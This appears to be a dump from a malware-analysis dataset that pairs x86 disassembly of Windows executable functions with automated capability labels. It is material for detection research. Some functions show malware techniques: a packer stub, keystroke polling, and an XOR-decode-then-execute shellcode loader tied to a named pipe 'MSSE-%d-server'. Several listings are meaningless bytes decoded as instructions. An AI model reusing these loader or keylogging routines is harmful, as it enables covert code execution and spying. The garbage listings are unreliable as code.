joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405a73
Capabilities:
Encode data using xor

Disassembly:
adc ecx, dword [ebx]
sub ebx, dword [ebx]
adc dword [edx], ecx
adc dword [ebx], ecx
lcall 8, 0x7b020513
add byte [ecx + edx], al
add al, 0x11
add eax, 0x306f
or ah, byte [esi]
adc dword [ebx], ecx
pop ss
pop eax
adc ecx, dword [ebx]
adc dword [ebx], ecx
adc dword [edx], ecx
mov gs, word [ecx + 0x32]
fnstsw word [eax]
mov eax, dword [0x8000000]
jb 0x405a83
push es
add byte [eax + 0x17], dh
outsd dx, dword [esi]
and eax, 0x390a0000
nop
add byte [eax], al
add byte [eax], cl
or byte [edi], bl
cmp ch, byte [edi + 0x26]
add byte [eax], al
or dl, byte [edi]
pop eax
outsd dx, dword [esi]
and al, 0
add byte [edx], cl
adc eax, dword [esi]
adc dword [esi], eax
jb 0x405aa3
push es
add byte [eax + 0x6f], dh
add byte cs:[eax], al
or dl, byte [edi]
outsd dx, dword [esi]
das
add byte [eax], al
or dl, byte [ebx]
pop es
adc dword [edi], eax
adc ecx, dword [esi + edx]
adc ecx, dword [0xc11202b]
adc dword [0x208139a], ecx
jnp 0x405af2
add byte [eax], al
add al, 0x11
or byte [edi + 0x31], ch
add byte [eax], al
or ch, byte [edi + 0x30]
add byte [eax], al
or ah, byte [esi]
adc dword [0xd135817], ecx
adc dword [0x698e0c11], ecx
xor bl, al
sub esi, dword [edi]
pop es
adc dword [esi + ecx*4], ecx
imul esi, dword [edx], 0x7372bd8
jb 0x405b01
push es
add byte [eax + 0x6f], dh
jo 0x405b7f
xor al, byte [eax]
add byte [edx], cl
sub al, 0x28
pop es
jb 0x405b0e
push es
add byte [eax + 0x6f], dh
add byte cs:[eax], al
or bl, byte [eax]
outsd dx, dword [esi]
xor eax, dword [eax]
add byte [edx], cl
adc ecx, dword [ecx]
add bh, byte [ebx + 0xa]
add byte [eax], al
add al, 0x11
or dword [esi], edx
lcall 0x346f, 0x9a170911
add byte [eax], al
or ch, byte [ebx]
add dl, byte [esi]
sub al, byte [esi]
pop ss
pop eax
or al, byte [esi]
add ecx, dword [esi - 0x29ac097]
invalid
add byte [eax + 0x28], dh
sbb byte [eax], al
add byte [edx], cl
jge 0x405b95
or ch, byte [0xd7b020c]

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40de38
nop
mov ecx, 0x7e1d1dac
nop
nop
test eax, eax
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..data
mov ebx, 0x4304d8
nop
mov ecx, 0x11a17d28
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x40d434
Capabilities:
Encode data using xor

Disassembly:
or esp, edi
rcl dword [ebx + edx*4 + 0x35c8b359], cl
pop esp
and eax, 0x27e032ff
adc eax, 0x44af02dd
jg 0x40d487
imul eax, esp, 0x16
shl ebx, 0x5e
in eax, dx
fld qword [si]
xlatb
out dx, eax
add al, 0x44
or al, 0x2c
push 0x6d
jnp 0x40d488
mov dword [ecx - 0x76b89f5d], ecx
xor byte [ebp - 0x51], 0x61
dec ecx
hlt
enter 0x73ae, 0xffffffffffffff9a
xchg ecx, eax
invalid
out 0xc6, eax
stosb byte es:[edi], al
jb 0x40d42b
and dword cs:[ebx + eax*8 - 0xd7408be], esp
and dword [ebx + eax*8 - 0xd7408be], esp
movsb byte es:[edi], byte [esi]
ret
xchg esp, eax
add esp, dword [ebx + 0x44023dda]
lds eax, [ecx - 0x4dd91e45]
jo 0x40d479
xor bh, bl
xor al, 0xc5
or dword [ecx - 0x26f75c1b], edx
and byte [ebx], bh
sbb al, 0x31
dec esp
mov word [ebp - 0x5ecb2bed], ss
pop eax
jne 0x40d4a0
cmp eax, dword [ebx - 0x55]
jmp 0x40d481

Function at 0x44bad0
Capabilities:
Log keystrokes via polling

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, dword [esp + 0x10]
push esi
mov dword [edi], 0
mov al, byte [0x66204a]
mov cl, byte [0x66204d]
mov edx, dword [0x662030]
and cl, al
mov eax, dword [0x662034]
mov byte [0x66204d], cl
mov ecx, eax
shr ecx, 2
sub edx, ecx
xor ecx, ecx
mov cl, byte [0x662043]
mov dword [0x662030], edx
mov edx, dword [0x662038]
or edx, 7
imul edx, ecx
and eax, edx
mov dword [0x662034], eax
call dword [sym.imp.USER32.dll_SetCapture]
call fcn.0044ba10
push esi
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jge 0x44bb44
or dword [edi], 0x2000000
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push esi
mov dword [0x665aac], eax
call dword [sym.imp.USER32.dll_CopyIcon]
mov dword [0x665aac], eax
pop edi
mov eax, dword [esp + 8]
pop esi
ret 8

Function at 0x5b5d0d
Capabilities:
Encode data using xor

Disassembly:
sti
adc eax, 0x8ae1239a
wait
lodsd eax, dword [esi]
mov bl, 0x8f
sti
inc esi
cli
in al, dx
cdq
invalid

Function at 0x621698
Capabilities:
Encode data using xor

Disassembly:
retf 0x1cad
out 0xaa, al
insd dword es:[edi], dx
lahf
fsubr dword [ebx]
shr cl, 1
jmp 0x6215f3
js 0x62162c
stosd dword es:[edi], eax
not byte [eax - 0x74954ebe]
xor dword [edx - 0x263ca507], 0xcf48081
mov bh, 0xc6
fcmovbe st(0), st(0)
in al, 0x6d
push cs
add eax, 0xe0f923e9
mov eax, 0x875e0f47
ror dword [eax - 0xd], 1
or eax, 0x40b7be8b
fcomp qword [edi - 0x27d86ca1]
jns 0x62169a
lodsb al, byte [esi]
push 0xfffffffffffffff7
lodsd eax, dword [esi]
sar byte [ebx + 0x362385de], 1
xchg edi, eax
movsb byte es:[edi], byte [esi]
add al, 0xe4
xor dword [edi - 0x4a69d499], edi
ret
Function at 0x659c6d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x662398
cmp edx, dword [eax]
je 0x659c8f
add eax, 8
inc ecx
cmp eax, 0x662428
jl 0x659c80
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x662398]
jne 0x659dbd
mov eax, dword [0xa5f0f4]
cmp eax, 1
je 0x659d97
test eax, eax
jne 0x659cc0
cmp dword [0x6622c4], 1
je 0x659d97
cmp edx, 0xfc
je 0x659dbd
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x659cf7
lea eax, [ebp - 0x1a4]
push 0x65eb90
push eax
call fcn.0065a650
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0065aae0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x659d3a
lea eax, [ebp - 0x1a4]
push eax
call fcn.0065aae0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x65eb8c
push edi
call fcn.0065c9b0
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x65eb70
push eax
call fcn.0065a650
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.0065a660
lea eax, [ebp - 0xa0]
push 0x65eb6c
push eax
call fcn.0065a660
push dword [esi + 0x66239c]
lea eax, [ebp - 0xa0]
push eax
call fcn.0065a660
push 0x12010
lea eax, [ebp - 0xa0]
push 0x65eb44
push eax
call fcn.0065c924
add esp, 0x2c
pop edi
jmp 0x659dbd
lea eax, [ebp + 8]
lea esi, [esi + 0x66239c]
push 0
push eax
push dword [esi]
call fcn.0065aae0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x402350
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x408044
call sub.KERNEL32.dll_EnterCriticalSection
mov ebx, dword [0x40803c]
sub esp, 4
test ebx, ebx
je 0x40239b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsGetValue
sub esp, 4
mov esi, eax
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x402394
test esi, esi
je 0x402394
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402370
mov dword [esp], 0x408044
call sub.KERNEL32.dll_LeaveCriticalSection
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x402580
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x4025d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.KERNEL32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x4026a8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40260e
cmp eax, 4
jne 0x402630
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sub.msvcrt.dll_memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40261e
cmp edx, 4
je 0x40261e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00402580
Function at 0x401750
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, dword [sym.imp.MSVCRT.dll__iob]
push eax
add dword [eax], 0x40
push 0x40d274
push ecx
call dword [sym.imp.MSVCRT.dll_fprintf]
mov eax, dword [0xbf4102ac]
add esp, 0xc
test eax, eax
mov eax, dword [0x4768330f]
cdq
inc eax
add byte [edx], dh
adc eax, sym.imp.MSVCRT.dll_printf
xor dword [esi], 8
inc byte [ecx]
call dword [sym.imp.MSVCRT.dll_exit]
push ecx
push ebp
sbb ah, ch
sub esp, 0xb8
mov eax, dword [str.shell32]
test eax, eax
mov eax, dword [0x414086]
je 0x4017bb
push 0x413c40
push eax
and eax, 0x409e
popf
or eax, 0x410216
test al, 0x3a
cwde
adc eax, 0x419f00
push edx
push eax
or ecx, dword [eax + 0x6600ec40]
mov ecx, dword [0x411793]
mov dword [0x411808], eax
mov eax, dword [0x410240]
push ebx
push esi
mov bl, 0x35
and al, cl
inc eax
add byte [esi - 0x5d], ah
or eax, 0xe8410bb4
adc al, al
push edi
jne 0x40184a
mov edx, dword [0x411800]
push edx
xor ebx, dword [eax - 0xbbf2c]
salc
mov eax, dword [0x460265]
cmp eax, 8
test eax, eax
je 0x40181c
mov eax, dword [0x4141e274]
push eax
push 0x413c40
push 0x406f84
stosd dword es:[edi], eax
salc
xor al, ah
or al, 0xa1
adc al, 0xd0
inc eax
mov word [ebp + 0x5a80b8c0], es
mov eax, dword [0x8c40d014]
test eax, eax
mov eax, 0x405a80
jne 0x401826
inc eax
add byte [ebp - 4], dh
adc bh, dl
stosb byte es:[edi], al
inc eax
add byte [eax + 0x68], dl
insb byte es:[edi], dx
aam 0xe4
add bh, bh
ljmp 0x78
mov edi, dword [0x40d018]
mov esi, dword [0xc640c158]
push 0x860
push ebp
call esi
mov dword [0x8a410bb0], eax
mov eax, dword [0x5ad010]
push 0xffffffffffffff81
push eax
jmp [edx]
Function at 0x401559
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x3c
mov esi, dword [ebp + 0xc]
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x3000
mov dword [esp], 0
mov dword [esp + 4], esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor ecx, ecx
sub esp, 0x10
mov ebx, eax
jmp 0x4015a9
mov eax, ecx
mov edi, 4
cdq
idiv edi
mov edi, dword [ebp + 0x10]
mov al, byte [edi + edx]
mov edi, dword [ebp + 8]
xor al, byte [edi + ecx]
mov byte [ebx + ecx], al
inc ecx
cmp ecx, esi
jl 0x40158f
lea eax, [ebp - 0x1c]
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x20
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
mov dword [esp + 0xc], ebx
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0x401550
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x401608
Capabilities:
Connect pipe
Create pipe
Write file on windows
Write pipe

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x4c
mov edi, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0x1c], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], 2
mov dword [esp], 0x4473f0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov ebx, eax
sub esp, 0x20
lea eax, [eax - 1]
cmp eax, 0xfffffffd
ja 0x4016cb
mov dword [esp + 4], 0
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
push edx
push edx
lea edx, [ebp - 0x1c]
jne 0x4016bd
jmp 0x4016cb
mov dword [esp + 0xc], edx
mov dword [ebp - 0x2c], edx
mov dword [esp + 0x10], 0
mov dword [esp + 8], esi
mov dword [esp + 4], edi
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0x2c]
sub esp, 0x14
test eax, eax
je 0x4016c1
mov eax, dword [ebp - 0x1c]
add edi, eax
sub esi, eax
test esi, esi
jg 0x40168c
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4016f2
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x4c
mov edi, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x80000000
mov dword [esp], 0x4473f0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea edx, [ebp - 0x1c]
mov esi, eax
sub esp, 0x1c
xor eax, eax
cmp esi, 0xffffffff
jne 0x401787
jmp 0x40179a
mov dword [esp + 0xc], edx
mov dword [ebp - 0x2c], edx
mov dword [esp + 0x10], 0
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [ebp - 0x2c]
sub esp, 0x14
test eax, eax
je 0x40178b
mov eax, dword [ebp - 0x1c]
add edi, eax
sub ebx, eax
test ebx, ebx
jg 0x401756
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
push ecx
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x401800
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x26aa
xor edx, edx
mov dword [esp + 0x28], 0x5c
mov dword [esp + 0x24], 0x65
mov dword [esp + 0x20], 0x70
mov dword [esp + 0x1c], 0x69
mov dword [esp + 0x18], 0x70
div ecx
mov dword [esp + 0x14], 0x5c
mov dword [esp + 0x10], 0x2e
mov dword [esp + 0xc], 0x5c
mov dword [esp + 8], 0x5c
mov dword [esp + 4], str._c_c_c_c_c_c_c_c_cMSSE__d_server
mov dword [esp], 0x4473f0
mov dword [esp + 0x2c], edx
call sub.msvcrt.dll_sprintf
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x4016d3
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp + 8], 0
sub esp, 0x18
leave
jmp fcn.004017a2

Function at 0x401e10
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
lea ebx, [esp + 0x24]
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
jmp fcn.00401e70
Function at 0x402360
Capabilities:
Parse pe header

Disassembly:
mov edx, dword [esp + 4]
xor eax, eax
cmp word [edx], 0x5a4d
je 0x402370
repz ret
add edx, dword [edx + 0x3c]
cmp dword [edx], 0x4550
jne 0x40236d
xor eax, eax
cmp word [edx + 0x18], 0x10b
sete al
ret

Function at 0x402930
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x4473c4
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x4473dc]
sub esp, 4
test ebx, ebx
je 0x402985
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40297e
test esi, esi
je 0x40297e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402960
mov dword [esp], 0x4473c4
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x42e810
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
fld qword [0x44d388]
mov eax, dword [0x44d490]
fsub qword [0x447eb8]
mov edx, 0x611c7dcf
sub edx, eax
mov dword [ebp - 4], edx
fild dword [ebp - 4]
fucompp
fnstsw ax
fld qword [0x44d388]
fld1
fsub st(1), st(0)
fxch st(1)
fstp qword [0x44d388]
test ah, 0x44
jnp 0x42e877
fld dword [0x44d0e4]
fsubr qword [0x447eb0]
fmul qword [0x44d368]
fstp qword [0x44d368]
fld dword [0x44d0e4]
fadd st(1)
fstp dword [0x44d0e4]
jmp 0x42e889
fld dword [0x44d18c]
fmul qword [0x447ea8]
fstp dword [0x44d18c]
mov dword [ecx], 0
mov ax, word [0x44d288]
mov edx, dword [0x44d4ac]
cwde
lea eax, [edx + eax + 0x6235a426]
mov dx, word [0x44d120]
dec word [0x44d288]
push edi
movsx edx, dx
mov edi, 0x270f15d7
sub edi, edx
mov edx, 1
add dword [0x44d4ac], edx
cmp edi, eax
pop edi
jle 0x42e8e6
fld qword [0x44d260]
fld dword [0x44d184]
fsub qword [0x447ea0]
fsubp st(1)
fstp qword [0x44d260]
mov dword [ecx + 4], 0
movzx eax, word [0x44d17c]
add eax, 0xb86bf0
mov word [0x44d17c], ax
mov dword [ecx + 8], 0x67452301
add dword [str.dL5], edx
fld qword [0x44d208]
fadd st(1)
fstp qword [0x44d208]
mov edx, dword [str.dL5]
mov dword [ebp - 4], edx
fild dword [ebp - 4]
fadd dword [0x44d29c]
fadd qword [0x44d348]
fld qword [0x44d208]
fucompp
fnstsw ax
fadd qword [0x44d348]
fstp qword [0x44d348]
test ah, 0x44
jp 0x42e957
add dword [0x44d228], 0x5fcd606b
mov dword [ecx + 0xc], 0xefcdab89
movzx eax, word [0x44d238]
movsx edx, ax
mov dword [ebp - 4], edx
fild dword [ebp - 4]
fsub qword [0x44d050]
mov eax, dword [0x44d2a0]
mov dword [ebp - 4], eax
fild dword [ebp - 4]
faddp st(1)
fistp qword [ebp - 8]
mov edx, dword [ebp - 8]
mov dword [0x44d2a0], edx
mov dword [ecx + 0x10], 0x98badcfe
movzx eax, word [0x44d03c]
sub eax, 0x1463e303
mov word [0x44d03c], ax
mov dword [ecx + 0x14], 0x10325476
mov ecx, dword [0x44d080]
sub ecx, 0x60b20781
mov dword [ebp - 4], ecx
fild dword [ebp - 4]
fld qword [0x44d2c0]
dec dword [0x44d080]
fadd qword [0x447e98]
fcompp
fnstsw ax
test ah, 5
jp 0x42e9f4
fld qword [0x44d078]
mov edx, dword [0x44d2b4]
mov dword [ebp - 4], edx
fild dword [ebp - 4]
fsubp st(1)
fstp qword [0x44d078]
mov esp, ebp
pop ebp
ret

Function at 0x43c460
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
add dword [0x44d090], 0x50e90767
call fcn.00410550
fld dword [0x44d2e4]
fld1
fadd st(1), st(0)
fxch st(1)
fstp dword [0x44d2e4]
mov eax, dword [0x44d080]
mov ecx, dword [0x44d1ec]
sub ecx, eax
mov dword [ebp - 4], ecx
fild dword [ebp - 4]
fld qword [0x44d230]
fadd qword [0x448a48]
fadd dword [0x44d2e4]
fcompp
fnstsw ax
fld qword [0x44d230]
fsub st(1)
fstp qword [0x44d230]
test ah, 1
jne 0x43c4e3
fsubr dword [0x44d3f4]
fstp dword [0x44d3f4]
fld qword [0x44d230]
fsub dword [0x44d3f4]
fstp qword [0x44d230]
jmp 0x43c51b
fld qword [0x44d078]
fadd st(1)
fstp qword [0x44d078]
fld qword [0x44d0d0]
fadd qword [0x44d158]
fadd qword [0x44d078]
fistp qword [ebp - 8]
mov edx, dword [ebp - 8]
mov dword [0x44d1d8], edx
fsubr qword [0x44d0d0]
fstp qword [0x44d0d0]
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x441cb0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x44d2a0]
mov dword [ebp - 8], eax
fild dword [ebp - 8]
push esi
fld qword [0x44d420]
mov ecx, dword [0x44d19c]
mov dword [ebp - 8], ecx
fild dword [ebp - 8]
push edi
mov edi, dword [ebp + 0xc]
mov esi, edi
imul esi, dword [ebp + 0x10]
fsubp st(1)
fadd qword [0x446f50]
fsubp st(1)
fistp qword [ebp - 0xc]
mov edx, dword [ebp - 0xc]
mov dword [0x44d2a0], edx
dec dword [0x44d19c]
mov dword [ebp - 4], 0
fld dword [0x44d394]
fsub dword [0x44d4b4]
fstp dword [0x44d394]
test esi, esi
jne 0x441d2b
fld qword [0x446f48]
pop edi
fstp qword [0x44d2c0]
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 1
add dword [str.dL5], ecx
mov edx, dword [str.dL5]
mov eax, 0x3274d8ac
sub eax, edx
mov edx, dword [0x44d28c]
add edx, eax
mov dword [ebp + 0xc], edx
fild dword [ebp + 0xc]
fstp dword [0x44d294]
add dword [0x44d28c], ecx
mov ecx, dword [ebp + 0x14]
call fcn.00416f80
fld qword [0x44d078]
mov edx, dword [ebp + 8]
fmul qword [0x446f40]
push 0
lea ecx, [ebp - 4]
push ecx
fstp qword [0x44d078]
push esi
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
fld qword [0x44d0d0]
fsubr qword [0x446f38]
xor edx, edx
fmul dword [0x44d384]
mov eax, dword [ebp - 4]
div edi
fstp dword [0x44d384]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x5dd999
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2bc
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x5dd9b4
add esi, 0x1000
lea eax, [ebp - 0x2bc]
push edx
push 0x1c
push eax
push esi
call dword [edx + 0x124a2bd9]
pop edx
test eax, eax
je 0x5dda86
cmp dword [ebp - 0x2ac], 0x1000
jne 0x5dda75
test dword [ebp - 0x2a8], 1
jne 0x5dda75
and dword [ebp - 0x2a8], 0x100
jne 0x5dda75
push esi
push edx
push 4
push esi
call dword [edx + 0x122d2d0a]
pop edx
pop esi
test eax, eax
je 0x5dda18
jmp 0x5dda75
cmp word [esi], 0x5a4d
jne 0x5dda75
mov eax, esi
push ebx
mov ebx, dword [esi + 0x3c]
add eax, ebx
pop ebx
cmp dword [eax], 0x4550
jne 0x5dda75
lea eax, [ebp - 0x28c]
push edx
push 0x28a
push eax
push esi
call dword [edx + 0x122d2cb6]
pop edx
test eax, eax
je 0x5dda75
lea eax, [ebp - 0x28c]
push eax
call fcn.005dd8f5
test eax, eax
jne 0x5dda6e
jmp 0x5dda75
mov eax, esi
jmp 0x5dda86
mov esi, dword [ebp - 0x2b0]
add esi, dword [ebp - 0x2bc]
jmp 0x5dd9b4
pop esi
leave
ret 4